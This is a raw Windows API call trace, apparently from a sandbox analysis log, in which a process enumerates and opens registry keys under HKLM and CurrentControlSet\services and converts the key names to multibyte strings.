[0180.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0180.592] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0180.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0180.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0180.592] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0180.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0180.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0180.592] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0180.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0180.592] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0180.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0180.592] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0180.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0180.593] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0180.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0180.593] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0180.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0180.593] RegOpenKeyExW (in: hKey=0x140, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0180.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0180.593] RegCloseKey (hKey=0x140) returned 0x0 [0180.593] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0180.593] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0180.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0180.593] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0180.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0180.594] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0180.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0180.594] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0180.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0180.594] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0180.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0180.594] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0180.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0180.594] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0180.594] RegCloseKey (hKey=0x80000002) returned 0x0 [0180.594] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0180.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0180.594] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0180.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0180.595] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0180.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0180.595] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0180.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0180.595] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0180.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0180.595] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0180.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0180.595] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0180.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0180.595] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0180.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0180.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0180.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0180.596] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0180.596] RegCloseKey (hKey=0x150) returned 0x0 [0180.596] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0180.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0180.596] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0180.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0180.596] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0180.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0180.596] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0180.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0180.597] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0180.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0180.597] RegOpenKeyExW (in: hKey=0x140, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0180.597] RegCloseKey (hKey=0x140) returned 0x0 [0180.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0180.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0180.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0180.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a90, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0180.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0180.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a00, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0180.598] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0180.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0180.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a90, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0180.598] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0180.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0180.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a00, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0180.598] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0180.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0180.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0180.598] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0180.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0180.598] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0180.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0180.598] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0180.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0180.600] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.600] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0180.600] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 